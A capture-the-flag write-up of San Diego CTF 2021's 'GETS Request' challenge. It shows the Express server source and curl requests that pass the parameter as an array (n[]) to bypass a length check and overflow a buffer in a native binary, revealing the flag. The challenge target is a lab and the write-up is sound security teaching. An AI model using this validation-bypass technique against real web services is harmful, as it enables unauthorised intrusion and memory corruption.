# San Diego CTF 2021 : GETS Request > [time=Sun, May 10, 2021 7:11 PM] ###### tags: `CTF` `web` `get-parameter-length-bypass` `nodejs` `spawn` ## Challenge Description ![](https://i.imgur.com/Nh8u2lr.png) <br> ## Disclaimer > I did not solve the challenge in time > I found the solution on discord, later > This write-up helps you understand the detailed solution ## TL;DR * The website is intented to calculate the no. of primes under the given number. It takes the user provided number as a get-parameter - `n` * Length of the get parameter is checked using **length** attribute in js * This length check can be bypassed using passing `n` as an array like `n[]`. Now, how big the input is, array length, that is no. of elements in an array is going to stay 1. * And the input is passed as an argument to a binary. But there was no buffer length check inside the binary. * So this is a classic case of Buffer Overflow!. * Here, just generating a segmentation-fault would give us the flag. <br> ## Source code ```javascript= const spawn = require('child_process').spawn; const express = require('express'); const PORT = process.env.PORT || 1337; const app = express(); const BUFFER_SIZE = 8; app.get('/prime', (req, res) => { if(!req.query.n) { res.status(400).send('Missing required parameter n'); return; } // Here to check the length of `n`, length attribute is used if(req.query.n.length > BUFFER_SIZE) { res.status(400).send('Requested n too large!'); return; } let output = ''; const proc = spawn(__dirname + '/primegen'); proc.stdout.on('data', data => output += data.toString()); proc.on('exit', () => res.send(output)); // call our super-efficient native prime generator! // Here, the user input is passed as argument to primegen binary proc.stdin.write(`${req.query.n}\n`); }) app.use('/', (req, res) => { res.sendFile(__dirname + '/index.html'); }); app.use('*', (req, res) => { res.status(404).send('Not Found'); }); app.listen(PORT, () => { console.log(`prime generator listening at http://localhost:${PORT}`) }) ``` <br> ## Solution ### Littile quirk in javascript Take a look at following javascript code Array is concatenated with a string - ![](https://i.imgur.com/PXmFcLV.png) It's like js tries to convert the elemnts in array into strings and performs the concatenation. If multiple arguments are specifies, it adds a `,` (comma) between the elements. So it a single element is provided the `'hello'` and ``['hello']`` are treated same in certain scenario. So let's make use of this later. ### Length check bypass In `line 45` in above source code, there length check of `n` using `length` attribute. This attribute can also be used with the array to give number of elements in the array. Look the code below - ![](https://i.imgur.com/orp9a6x.png) Notice the difference!! So, if the parameter is passed as an array rather a string, that would bypass the length check. And same time the array will be treated as a string by JS and it is passed as an argument to a binary. ### Exploitation The request to get the primes count - ``` curl https://gets.sdc.tf/prime?n=1000 ``` ``` There are exactly 192 primes under 1000 ``` Trying larger number (more than 8 digits) as input - ``` curl https://gets.sdc.tf/prime?n=123456789 ``` ``` Requested n too large! ``` Send the same number as an array - ``` curl https://gets.sdc.tf/prime?n[]=123456789 ``` ``` number malformed ``` Cool. We didn't hit the check now. But the binary doesn't accept this number. As mentioned in the description, about `memory issues`, an ideal thought would be `memory corruption`, with a hypothesis, may be length of input is not checked in the binary but only has been checked in the JS. With this in mind, trying a larger number to overflow the buffer may cause a `Segmentation Fault`. Trying larger input - ``` curl https://gets.sdc.tf/prime?n[]=12345678955555555555555555 ``` ``` buffer overflow! sdctf{B3$T_0f-b0TH_w0rLds} ``` Bingo!. We got the flag. Wait, what ?? > How could a **Segmentation Fault** would give the flag ? The binary uses `SIGSEGV` signal and `sigsegv_handler` which are usually used for handling **segmentation faults** (Probably a bad idea! :). Here, in this case, the seg fault generates a `SIGSEGV` which evokes the `sigsegv_handler` which is just a some function to do something. Here the handler just prints the flag. Authour probably wanted to make the binary part of challenge, simple. <br> ## Flag > sdctf{B3$T_0f-b0TH_w0rLds} <br> ## Takeaways * Try in different ways to bypass checks and other functionalities. Search for quirks. Google it. * Try to use previous bypasses in other platforms on the current platform. May be sometimes that works or just gives a clue of further exploitation. <br> <br> Happy Hacking! <br> <br> > Feel free to provide feedback. > [Twitter](https://twitter.com/z0k_r) > [Discord](httpps://discord.com/users/539772083878494219)